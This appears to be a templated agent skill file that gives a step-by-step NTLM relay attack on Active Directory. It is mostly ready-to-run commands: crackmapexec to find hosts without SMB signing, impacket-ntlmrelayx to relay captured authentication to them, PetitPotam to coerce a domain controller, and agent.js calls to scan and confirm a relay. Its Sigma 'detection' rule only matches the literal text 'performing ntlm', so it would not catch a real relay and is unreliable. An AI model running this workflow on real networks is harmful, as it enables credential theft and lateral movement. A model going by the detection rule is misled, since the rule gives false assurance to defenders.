<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: performing-ntlm-relay-attacks
description: >-
  Execute NTLM relay attacks to capture and relay authentication to target services, exploiting unsigned SMB, LDAP, and HTTP endpoints for lateral movement.
domain: cybersecurity
subdomain: active-directory-security
tags:
  - ntlm-relay
  - smb-signing
  - coercion
  - lateral-movement
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1557.001"]
  frameworks: ["MITRE ATT&CK"]
  tools: ["impacket", "responder", "petitpotam"]
---

# Performing Ntlm Relay Attacks

## Overview

Execute NTLM relay attacks to capture and relay authentication to target services, exploiting unsigned SMB, LDAP, and HTTP endpoints for lateral movement.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `impacket` | Security tooling |
| `responder` | Security tooling |
| `petitpotam` | Security tooling |
| Impacket ntlmrelayx, Responder, network access to target segment | Environment requirement |

## Quick Reference

```bash
# Quick start commands
node scripts/agent.js --help
crackmapexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
```

## Workflow

### Step 1: Check SMB Signing

```bash
crackmapexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
```

### Step 2: Start NTLM Relay

```bash
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
```

### Step 3: Coerce Authentication

```bash
python3 PetitPotam.py listener_ip target_dc
```

## Detection

```yaml
title: Ntlm Relay Attacks Detection
id: c7915126-5bf4-407e-94c5-6739fde1f5f7
status: experimental
description: Detects suspicious activity related to performing ntlm relay attacks techniques in active directory security context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*ntlm*"
  condition: selection
level: medium
tags:
  - attack.t1557.001
  - attack.credential_access
falsepositives:
  - Authorized Active Directory administration using approved management tools
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Ntlm Relay Attacks Detection | windows/process_creation | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1557.001 |

## Verification

- **Verify relay targets**: `node scripts/agent.js scan --subnet 10.0.0.0/24`
- **Confirm relay success**: `node scripts/agent.js relay --target 10.0.0.5`

## References

- MITRE ATT&CK: T1557.001
- Frameworks: MITRE ATT&CK
- Tools: impacket, responder, petitpotam
